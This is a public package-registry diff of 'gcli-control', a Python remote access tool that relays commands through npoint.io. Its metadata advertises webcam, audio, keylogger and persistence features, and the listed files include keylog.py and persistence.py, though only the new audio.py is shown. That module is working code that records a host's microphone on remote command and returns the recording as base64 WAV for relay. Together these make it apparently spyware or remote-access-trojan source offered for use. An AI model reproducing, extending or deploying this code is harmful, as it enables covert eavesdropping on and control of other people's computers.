gcli-control 0.3.0__tar.gz → 0.5.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (38) hide show
  1. {gcli_control-0.3.0 → gcli_control-0.5.0}/PKG-INFO +2 -2
  2. {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/__init__.py +1 -1
  3. gcli_control-0.5.0/gcli/audio.py +651 -0
  4. gcli_control-0.5.0/gcli/automation.py +895 -0
  5. {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/client.py +201 -0
  6. gcli_control-0.5.0/gcli/forensics.py +908 -0
  7. {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/host.py +74 -1
  8. gcli_control-0.5.0/gcli/keylog.py +679 -0
  9. gcli_control-0.5.0/gcli/npoint.py +144 -0
  10. gcli_control-0.5.0/gcli/persistence.py +744 -0
  11. gcli_control-0.5.0/gcli/transfer.py +817 -0
  12. gcli_control-0.5.0/gcli/webcam.py +476 -0
  13. {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli_control.egg-info/PKG-INFO +2 -2
  14. {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli_control.egg-info/SOURCES.txt +7 -0
  15. {gcli_control-0.3.0 → gcli_control-0.5.0}/pyproject.toml +2 -2
  16. gcli_control-0.3.0/gcli/npoint.py +0 -60
  17. {gcli_control-0.3.0 → gcli_control-0.5.0}/README.md +0 -0
  18. {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/__main__.py +0 -0
  19. {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/aliases.py +0 -0
  20. {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/clipboard.py +0 -0
  21. {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/colors.py +0 -0
  22. {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/crypto.py +0 -0
  23. {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/fileops.py +0 -0
  24. {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/monitoring.py +0 -0
  25. {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/netutils.py +0 -0
  26. {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/output.py +0 -0
  27. {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/processes.py +0 -0
  28. {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/protocol.py +0 -0
  29. {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/security.py +0 -0
  30. {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/session.py +0 -0
  31. {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/system.py +0 -0
  32. {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/utils.py +0 -0
  33. {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli_control.egg-info/dependency_links.txt +0 -0
  34. {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli_control.egg-info/entry_points.txt +0 -0
  35. {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli_control.egg-info/requires.txt +0 -0
  36. {gcli_control-0.3.0 → gcli_control-0.5.0}/gcli_control.egg-info/top_level.txt +0 -0
  37. {gcli_control-0.3.0 → gcli_control-0.5.0}/setup.cfg +0 -0
  38. {gcli_control-0.3.0 → gcli_control-0.5.0}/tests/test_integration.py +0 -0
@@ -1,7 +1,7 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: gcli-control
3
- Version: 0.3.0
4
- Summary: Remote access tool via npoint.io - encrypted command relay with compression, caching, and advanced system commands
3
+ Version: 0.5.0
4
+ Summary: Remote access tool via npoint.io - encrypted relay with webcam, audio, keylogger, persistence, and 100+ commands
5
5
  Author: gcli contributors
6
6
  License-Expression: MIT
7
7
  Project-URL: Homepage, https://github.com/gcli-control/gcli
@@ -2,5 +2,5 @@
2
2
  gcli — remote access tool via npoint.io.
3
3
  Encrypted command relay using AES-256-GCM over npoint.io JSON bins.
4
4
  """
5
- __version__ = "0.3.0"
5
+ __version__ = "0.5.0"
6
6
  __author__ = "gcli"
@@ -0,0 +1,651 @@
1
+ """
2
+ Remote audio / microphone recording capabilities for the gcli host daemon.
3
+ Provides structured audio commands (audio_devices, audio_record, audio_info,
4
+ audio_level) that return JSON-serialisable result dicts.
5
+ """
6
+ import os
7
+ import sys
8
+ import json
9
+ import math
10
+ import struct
11
+ import base64
12
+ import platform
13
+ import tempfile
14
+ import subprocess
15
+ import logging
16
+ from typing import Any, Callable, Dict, List, Optional, Tuple
17
+
18
+ logger = logging.getLogger("gcli.audio")
19
+
20
+ # ---------------------------------------------------------------------------
21
+ # Lazy imports for optional backends
22
+ # ---------------------------------------------------------------------------
23
+
24
+ _sd = None
25
+ _pa = None
26
+
27
+
28
+ def _try_sounddevice():
29
+ global _sd
30
+ if _sd is not None:
31
+ return _sd
32
+ try:
33
+ import sounddevice as _mod
34
+ _sd = _mod
35
+ return _sd
36
+ except (ImportError, OSError):
37
+ return None
38
+
39
+
40
+ def _try_pyaudio():
41
+ global _pa
42
+ if _pa is not None:
43
+ return _pa
44
+ try:
45
+ import pyaudio as _mod
46
+ _pa = _mod
47
+ return _pa
48
+ except (ImportError, OSError):
49
+ return None
50
+
51
+
52
+ # ---------------------------------------------------------------------------
53
+ # Helpers
54
+ # ---------------------------------------------------------------------------
55
+
56
+ def _platform_name() -> str:
57
+ """Return a normalised platform identifier."""
58
+ system = platform.system()
59
+ if system == "Windows":
60
+ return "windows"
61
+ elif system == "Darwin":
62
+ return "macos"
63
+ else:
64
+ return "linux"
65
+
66
+
67
+ def _which(cmd: str) -> Optional[str]:
68
+ """Return the path to *cmd* if found on PATH, else None."""
69
+ try:
70
+ result = subprocess.run(
71
+ ["where" if _platform_name() == "windows" else "which", cmd],
72
+ capture_output=True,
73
+ text=True,
74
+ timeout=5,
75
+ )
76
+ if result.returncode == 0 and result.stdout.strip():
77
+ return result.stdout.strip().splitlines()[0]
78
+ except Exception:
79
+ pass
80
+ return None
81
+
82
+
83
+ def _rms_from_pcm(data: bytes, sample_width: int) -> float:
84
+ """Compute RMS amplitude from raw PCM *data*."""
85
+ if not data or sample_width not in (1, 2, 4):
86
+ return 0.0
87
+ count = len(data) // sample_width
88
+ if count == 0:
89
+ return 0.0
90
+ if sample_width == 1:
91
+ fmt = f"<{count}B"
92
+ samples = struct.unpack(fmt, data[:count])
93
+ floats = [(s - 128) / 128.0 for s in samples]
94
+ elif sample_width == 2:
95
+ fmt = f"<{count}h"
96
+ samples = struct.unpack(fmt, data[:count * 2])
97
+ floats = [s / 32768.0 for s in samples]
98
+ else:
99
+ fmt = f"<{count}i"
100
+ samples = struct.unpack(fmt, data[:count * 4])
101
+ floats = [s / 2147483648.0 for s in samples]
102
+ sq_sum = sum(f * f for f in floats)
103
+ return math.sqrt(sq_sum / len(floats))
104
+
105
+
106
+ def _peak_from_pcm(data: bytes, sample_width: int) -> float:
107
+ """Compute peak amplitude from raw PCM *data*."""
108
+ if not data or sample_width not in (1, 2, 4):
109
+ return 0.0
110
+ count = len(data) // sample_width
111
+ if count == 0:
112
+ return 0.0
113
+ if sample_width == 1:
114
+ fmt = f"<{count}B"
115
+ samples = struct.unpack(fmt, data[:count])
116
+ return max(abs(s - 128) / 128.0 for s in samples)
117
+ elif sample_width == 2:
118
+ fmt = f"<{count}h"
119
+ samples = struct.unpack(fmt, data[:count * 2])
120
+ return max(abs(s) / 32768.0 for s in samples)
121
+ else:
122
+ fmt = f"<{count}i"
123
+ samples = struct.unpack(fmt, data[:count * 4])
124
+ return max(abs(s) / 2147483648.0 for s in samples)
125
+
126
+
127
+ def _amplitude_to_db(amp: float) -> float:
128
+ """Convert linear amplitude to dBFS. Floor at -120."""
129
+ if amp <= 0:
130
+ return -120.0
131
+ return 20.0 * math.log10(amp)
132
+
133
+
134
+ # ---------------------------------------------------------------------------
135
+ # AudioFeatures
136
+ # ---------------------------------------------------------------------------
137
+
138
+ class AudioFeatures:
139
+ """Remote audio / microphone recording feature set."""
140
+
141
+ # ------------------------------------------------------------------
142
+ # audio_devices
143
+ # ------------------------------------------------------------------
144
+
145
+ def audio_devices(self, payload: dict) -> dict:
146
+ """List available audio input devices."""
147
+ # Try sounddevice first
148
+ sd = _try_sounddevice()
149
+ if sd is not None:
150
+ try:
151
+ devices = sd.query_devices()
152
+ input_devs = []
153
+ default_id = sd.default.device[0] if sd.default.device[0] is not None else 0
154
+ idx = 0
155
+ for dev in devices:
156
+ if isinstance(dev, dict):
157
+ name = dev.get("name", f"Device {idx}")
158
+ max_in = dev.get("max_input_channels", 0)
159
+ if max_in > 0:
160
+ sr = dev.get("default_samplerate", 44100)
161
+ input_devs.append({
162
+ "id": idx,
163
+ "name": name,
164
+ "channels": int(max_in),
165
+ "sample_rate": int(sr),
166
+ "is_default": idx == default_id,
167
+ })
168
+ idx += 1
169
+ return {
170
+ "ok": True,
171
+ "devices": input_devs,
172
+ "count": len(input_devs),
173
+ "default_device": default_id,
174
+ }
175
+ except Exception as exc:
176
+ logger.warning("sounddevice query_devices failed: %s", exc)
177
+
178
+ # Windows fallback: PowerShell Get-PnpDevice
179
+ if _platform_name() == "windows":
180
+ try:
181
+ ps_cmd = (
182
+ "Get-PnpDevice -Class AudioEndpoint -ErrorAction SilentlyContinue | "
183
+ "Select-Object InstanceId, FriendlyName, Status | "
184
+ "ConvertTo-Json"
185
+ )
186
+ result = subprocess.run(
187
+ ["powershell", "-NoProfile", "-Command", ps_cmd],
188
+ capture_output=True,
189
+ text=True,
190
+ timeout=10,
191
+ )
192
+ if result.returncode == 0 and result.stdout.strip():
193
+ raw = json.loads(result.stdout)
194
+ if isinstance(raw, dict):
195
+ raw = [raw]
196
+ devices = []
197
+ for i, dev in enumerate(raw):
198
+ name = dev.get("FriendlyName", f"Audio Device {i}")
199
+ devices.append({
200
+ "id": i,
201
+ "name": name,
202
+ "channels": 1,
203
+ "sample_rate": 44100,
204
+ "is_default": i == 0,
205
+ })
206
+ return {
207
+ "ok": True,
208
+ "devices": devices,
209
+ "count": len(devices),
210
+ "default_device": 0,
211
+ }
212
+ except Exception as exc:
213
+ logger.warning("PowerShell audio device query failed: %s", exc)
214
+
215
+ # Linux fallback: arecord -l
216
+ if _platform_name() == "linux":
217
+ try:
218
+ result = subprocess.run(
219
+ ["arecord", "-l"],
220
+ capture_output=True,
221
+ text=True,
222
+ timeout=5,
223
+ )
224
+ if result.returncode == 0:
225
+ devices = []
226
+ for line in result.stdout.splitlines():
227
+ if "card" in line.lower():
228
+ # Example: card 0: PCH [HDA Intel PCH], device 0: ALC269 Analog [ALC269 Analog]
229
+ name_part = line.split(":", 1)[-1].strip() if ":" in line else line.strip()
230
+ devices.append({
231
+ "id": len(devices),
232
+ "name": name_part[:80],
233
+ "channels": 1,
234
+ "sample_rate": 44100,
235
+ "is_default": len(devices) == 0,
236
+ })
237
+ if devices:
238
+ return {
239
+ "ok": True,
240
+ "devices": devices,
241
+ "count": len(devices),
242
+ "default_device": 0,
243
+ }
244
+ except Exception as exc:
245
+ logger.warning("arecord -l failed: %s", exc)
246
+
247
+ return {
248
+ "ok": False,
249
+ "error": "No audio backend available. Install sounddevice (pip install sounddevice).",
250
+ }
251
+
252
+ # ------------------------------------------------------------------
253
+ # audio_record
254
+ # ------------------------------------------------------------------
255
+
256
+ def audio_record(self, payload: dict) -> dict:
257
+ """Record audio for *duration* seconds and return base64-encoded WAV."""
258
+ device_id = payload.get("device_id", -1)
259
+ duration = float(payload.get("duration", 5))
260
+ sample_rate = int(payload.get("sample_rate", 44100))
261
+ channels = int(payload.get("channels", 1))
262
+
263
+ duration = max(0.1, min(duration, 300.0)) # clamp 0.1s – 300s
264
+ sample_rate = max(8000, min(sample_rate, 96000))
265
+ channels = max(1, min(channels, 8))
266
+
267
+ # --- Backend 1: sounddevice ---
268
+ sd = _try_sounddevice()
269
+ if sd is not None:
270
+ try:
271
+ tmp = tempfile.NamedTemporaryFile(suffix=".wav", delete=False)
272
+ tmp_path = tmp.name
273
+ tmp.close()
274
+ kwargs: Dict[str, Any] = {
275
+ "samplerate": sample_rate,
276
+ "channels": channels,
277
+ "dtype": "int16",
278
+ "outfile": tmp_path,
279
+ }
280
+ if device_id >= 0:
281
+ kwargs["device"] = device_id
282
+ sd.rec(int(duration * sample_rate), **kwargs)
283
+ sd.wait()
284
+ with open(tmp_path, "rb") as f:
285
+ wav_data = f.read()
286
+ os.unlink(tmp_path)
287
+ return {
288
+ "ok": True,
289
+ "data": base64.b64encode(wav_data).decode("ascii"),
290
+ "duration": duration,
291
+ "sample_rate": sample_rate,
292
+ "channels": channels,
293
+ "size_bytes": len(wav_data),
294
+ }
295
+ except Exception as exc:
296
+ logger.warning("sounddevice record failed: %s", exc)
297
+
298
+ # --- Backend 2: pyaudio ---
299
+ pa = _try_pyaudio()
300
+ if pa is not None:
301
+ try:
302
+ stream = pa.open(
303
+ format=pa.paInt16,
304
+ channels=channels,
305
+ rate=sample_rate,
306
+ input=True,
307
+ input_device_index=device_id if device_id >= 0 else None,
308
+ frames_per_buffer=int(sample_rate * 0.1),
309
+ )
310
+ frames: List[bytes] = []
311
+ num_chunks = int(duration / 0.1) + 1
312
+ for _ in range(num_chunks):
313
+ data = stream.read(int(sample_rate * 0.1), exception_on_overflow=False)
314
+ frames.append(data)
315
+ stream.stop_stream()
316
+ stream.close()
317
+
318
+ import wave
319
+ tmp = tempfile.NamedTemporaryFile(suffix=".wav", delete=False)
320
+ tmp_path = tmp.name
321
+ tmp.close()
322
+ wf = wave.open(tmp_path, "wb")
323
+ wf.setnchannels(channels)
324
+ wf.setsampwidth(pa.get_sample_size(pa.paInt16))
325
+ wf.setframerate(sample_rate)
326
+ wf.writeframes(b"".join(frames))
327
+ wf.close()
328
+ with open(tmp_path, "rb") as f:
329
+ wav_data = f.read()
330
+ os.unlink(tmp_path)
331
+ return {
332
+ "ok": True,
333
+ "data": base64.b64encode(wav_data).decode("ascii"),
334
+ "duration": duration,
335
+ "sample_rate": sample_rate,
336
+ "channels": channels,
337
+ "size_bytes": len(wav_data),
338
+ }
339
+ except Exception as exc:
340
+ logger.warning("pyaudio record failed: %s", exc)
341
+
342
+ # --- Backend 3: ffmpeg / arecord fallback ---
343
+ try:
344
+ tmp = tempfile.NamedTemporaryFile(suffix=".wav", delete=False)
345
+ tmp_path = tmp.name
346
+ tmp.close()
347
+ recorded = False
348
+
349
+ if _platform_name() == "windows" and _which("ffmpeg"):
350
+ dev_name = "Microphone"
351
+ if device_id >= 0:
352
+ devs_resp = self.audio_devices(payload)
353
+ if devs_resp["ok"]:
354
+ for d in devs_resp["devices"]:
355
+ if d["id"] == device_id:
356
+ dev_name = d["name"]
357
+ break
358
+ cmd = [
359
+ "ffmpeg", "-y",
360
+ "-f", "dshow",
361
+ "-i", f"audio={dev_name}",
362
+ "-t", str(duration),
363
+ "-ar", str(sample_rate),
364
+ "-ac", str(channels),
365
+ tmp_path,
366
+ ]
367
+ result = subprocess.run(
368
+ cmd, capture_output=True, text=True, timeout=duration + 10
369
+ )
370
+ recorded = result.returncode == 0 and os.path.getsize(tmp_path) > 0
371
+
372
+ elif _platform_name() == "linux" and _which("arecord"):
373
+ cmd = [
374
+ "arecord",
375
+ "-d", str(int(duration)),
376
+ "-f", "cd",
377
+ "-r", str(sample_rate),
378
+ "-c", str(channels),
379
+ "-t", "wav",
380
+ tmp_path,
381
+ ]
382
+ result = subprocess.run(
383
+ cmd, capture_output=True, text=True, timeout=duration + 10
384
+ )
385
+ recorded = result.returncode == 0 and os.path.getsize(tmp_path) > 0
386
+
387
+ if recorded:
388
+ with open(tmp_path, "rb") as f:
389
+ wav_data = f.read()
390
+ os.unlink(tmp_path)
391
+ return {
392
+ "ok": True,
393
+ "data": base64.b64encode(wav_data).decode("ascii"),
394
+ "duration": duration,
395
+ "sample_rate": sample_rate,
396
+ "channels": channels,
397
+ "size_bytes": len(wav_data),
398
+ }
399
+
400
+ if os.path.exists(tmp_path):
401
+ os.unlink(tmp_path)
402
+
403
+ except Exception as exc:
404
+ logger.warning("ffmpeg/arecord fallback failed: %s", exc)
405
+
406
+ return {
407
+ "ok": False,
408
+ "error": "No audio recording backend available. Install sounddevice or ffmpeg.",
409
+ }
410
+
411
+ # ------------------------------------------------------------------
412
+ # audio_info
413
+ # ------------------------------------------------------------------
414
+
415
+ def audio_info(self, payload: dict) -> dict:
416
+ """Return audio system information."""
417
+ info: Dict[str, Any] = {
418
+ "ok": True,
419
+ "platform": _platform_name(),
420
+ "backend": "none",
421
+ "default_sample_rate": 44100,
422
+ "default_channels": 2,
423
+ "has_sounddevice": _try_sounddevice() is not None,
424
+ "has_pyaudio": _try_pyaudio() is not None,
425
+ "has_ffmpeg": _which("ffmpeg") is not None,
426
+ "has_arecord": _which("arecord") is not None,
427
+ }
428
+
429
+ # Try sounddevice for detailed defaults
430
+ sd = _try_sounddevice()
431
+ if sd is not None:
432
+ try:
433
+ info["backend"] = "sounddevice"
434
+ dev = sd.query_devices(kind="input")
435
+ info["default_sample_rate"] = int(dev.get("default_samplerate", 44100))
436
+ info["default_channels"] = int(dev.get("max_input_channels", 2))
437
+ info["default_device_name"] = dev.get("name", "Unknown")
438
+ except Exception:
439
+ pass
440
+ return info
441
+
442
+ # Try pyaudio
443
+ pa = _try_pyaudio()
444
+ if pa is not None:
445
+ try:
446
+ info["backend"] = "pyaudio"
447
+ pa_instance = pa.PyAudio()
448
+ default_info = pa_instance.get_default_input_device_info()
449
+ info["default_device_name"] = default_info.get("name", "Unknown")
450
+ pa_instance.terminate()
451
+ except Exception:
452
+ info["backend"] = "pyaudio"
453
+ return info
454
+
455
+ # Fallback
456
+ if _which("ffmpeg"):
457
+ info["backend"] = "ffmpeg"
458
+ elif _which("arecord"):
459
+ info["backend"] = "arecord"
460
+
461
+ return info
462
+
463
+ # ------------------------------------------------------------------
464
+ # audio_level
465
+ # ------------------------------------------------------------------
466
+
467
+ def audio_level(self, payload: dict) -> dict:
468
+ """Record a short audio sample and compute VU level (RMS + peak)."""
469
+ device_id = payload.get("device_id", -1)
470
+ sample_rate = int(payload.get("sample_rate", 44100))
471
+ channels = int(payload.get("channels", 1))
472
+ sample_duration = 0.1
473
+
474
+ # --- Backend 1: sounddevice ---
475
+ sd = _try_sounddevice()
476
+ if sd is not None:
477
+ try:
478
+ kwargs: Dict[str, Any] = {
479
+ "samplerate": sample_rate,
480
+ "channels": channels,
481
+ "dtype": "int16",
482
+ }
483
+ if device_id >= 0:
484
+ kwargs["device"] = device_id
485
+ recording = sd.rec(
486
+ int(sample_duration * sample_rate), **kwargs
487
+ )
488
+ sd.wait()
489
+ # recording is a numpy array of shape (samples, channels)
490
+ import numpy as np
491
+ recording = recording.flatten()
492
+ pcm_data = recording.tobytes()
493
+ rms_lin = float(np.sqrt(np.mean(recording.astype(np.float64) ** 2))) / 32768.0
494
+ peak_lin = float(np.max(np.abs(recording.astype(np.float64)))) / 32768.0
495
+ return {
496
+ "ok": True,
497
+ "rms": round(rms_lin, 6),
498
+ "db": round(_amplitude_to_db(rms_lin), 1),
499
+ "peak": round(peak_lin, 6),
500
+ "peak_db": round(_amplitude_to_db(peak_lin), 1),
501
+ }
502
+ except Exception as exc:
503
+ logger.warning("sounddevice level failed: %s", exc)
504
+
505
+ # --- Backend 2: pyaudio ---
506
+ pa = _try_pyaudio()
507
+ if pa is not None:
508
+ try:
509
+ stream = pa.open(
510
+ format=pa.paInt16,
511
+ channels=channels,
512
+ rate=sample_rate,
513
+ input=True,
514
+ input_device_index=device_id if device_id >= 0 else None,
515
+ frames_per_buffer=int(sample_rate * sample_duration),
516
+ )
517
+ data = stream.read(int(sample_rate * sample_duration), exception_on_overflow=False)
518
+ stream.stop_stream()
519
+ stream.close()
520
+ rms_lin = _rms_from_pcm(data, 2)
521
+ peak_lin = _peak_from_pcm(data, 2)
522
+ return {
523
+ "ok": True,
524
+ "rms": round(rms_lin, 6),
525
+ "db": round(_amplitude_to_db(rms_lin), 1),
526
+ "peak": round(peak_lin, 6),
527
+ "peak_db": round(_amplitude_to_db(peak_lin), 1),
528
+ }
529
+ except Exception as exc:
530
+ logger.warning("pyaudio level failed: %s", exc)
531
+
532
+ # --- Backend 3: ffmpeg fallback (read raw PCM from pipe) ---
533
+ if _which("ffmpeg"):
534
+ try:
535
+ cmd = [
536
+ "ffmpeg",
537
+ "-f", "dshow" if _platform_name() == "windows" else "alsa",
538
+ "-i", "audio=Microphone" if _platform_name() == "windows" else "default",
539
+ "-t", str(sample_duration),
540
+ "-f", "s16le",
541
+ "-acodec", "pcm_s16le",
542
+ "-ar", str(sample_rate),
543
+ "-ac", str(channels),
544
+ "pipe:1",
545
+ ]
546
+ result = subprocess.run(
547
+ cmd, capture_output=True, timeout=5,
548
+ )
549
+ if result.returncode == 0 and result.stdout:
550
+ data = result.stdout
551
+ rms_lin = _rms_from_pcm(data, 2)
552
+ peak_lin = _peak_from_pcm(data, 2)
553
+ return {
554
+ "ok": True,
555
+ "rms": round(rms_lin, 6),
556
+ "db": round(_amplitude_to_db(rms_lin), 1),
557
+ "peak": round(peak_lin, 6),
558
+ "peak_db": round(_amplitude_to_db(peak_lin), 1),
559
+ }
560
+ except Exception as exc:
561
+ logger.warning("ffmpeg level fallback failed: %s", exc)
562
+
563
+ return {
564
+ "ok": False,
565
+ "error": "No audio backend available for level measurement.",
566
+ }
567
+
568
+
569
+ # ---------------------------------------------------------------------------
570
+ # Dispatcher
571
+ # ---------------------------------------------------------------------------
572
+
573
+ _FEATURES = AudioFeatures()
574
+
575
+ _HANDLERS: Dict[str, Callable[[dict], dict]] = {
576
+ "audio_devices": _FEATURES.audio_devices,
577
+ "audio_record": _FEATURES.audio_record,
578
+ "audio_info": _FEATURES.audio_info,
579
+ "audio_level": _FEATURES.audio_level,
580
+ }
581
+
582
+ _TRANSPORT_KEYS = frozenset({"id", "jsonrpc", "method"})
583
+
584
+
585
+ def dispatch(payload: dict) -> dict:
586
+ """
587
+ Route an audio command payload to the correct handler.
588
+
589
+ Parameters
590
+ ----------
591
+ payload:
592
+ A dict with a ``"type"`` key matching one of the supported
593
+ commands (audio_devices, audio_record, audio_info, audio_level).
594
+
595
+ Returns
596
+ -------
597
+ dict
598
+ ``{"ok": True, ...}`` on success, or ``{"ok": False, "error": "..."}`` on failure.
599
+ """
600
+ cmd_type = payload.get("type", "")
601
+ handler = _HANDLERS.get(cmd_type)
602
+ if handler is None:
603
+ return {"ok": False, "error": f"Unknown audio command: {cmd_type!r}"}
604
+ return handler(payload)
605
+
606
+
607
+ # ---------------------------------------------------------------------------
608
+ # Self-test
609
+ # ---------------------------------------------------------------------------
610
+
611
+ def test_audio() -> None:
612
+ """Run self-tests that don't require recording hardware."""
613
+ passed = 0
614
+ failed = 0
615
+
616
+ try:
617
+ # -- audio_info --
618
+ r = dispatch({"type": "audio_info"})
619
+ assert r["ok"], f"audio_info failed: {r}"
620
+ assert "platform" in r, f"audio_info missing platform: {r}"
621
+ assert "backend" in r, f"audio_info missing backend: {r}"
622
+ assert "default_sample_rate" in r, f"audio_info missing default_sample_rate: {r}"
623
+ print(f" audio_info: backend={r['backend']}, platform={r['platform']}, "
624
+ f"samplerate={r['default_sample_rate']}")
625
+ passed += 1
626
+
627
+ # -- audio_devices --
628
+ r = dispatch({"type": "audio_devices"})
629
+ if r["ok"]:
630
+ print(f" audio_devices: count={r['count']}, default_device={r['default_device']}")
631
+ for dev in r["devices"][:5]:
632
+ print(f" [{dev['id']}] {dev['name']} ({dev['channels']}ch, {dev['sample_rate']}Hz)"
633
+ f"{' *default*' if dev['is_default'] else ''}")
634
+ else:
635
+ print(f" audio_devices: {r.get('error', 'unknown error')} (no devices found, non-fatal)")
636
+ passed += 1
637
+
638
+ # -- dispatch unknown command --
639
+ r = dispatch({"type": "bogus"})
640
+ assert not r["ok"], f"unknown cmd should fail: {r}"
641
+ passed += 1
642
+
643
+ print(f"audio tests: {passed} passed, {failed} failed")
644
+
645
+ except Exception as exc:
646
+ failed += 1
647
+ print(f"audio tests FAILED: {exc}")
648
+
649
+
650
+ if __name__ == "__main__":
651
+ test_audio()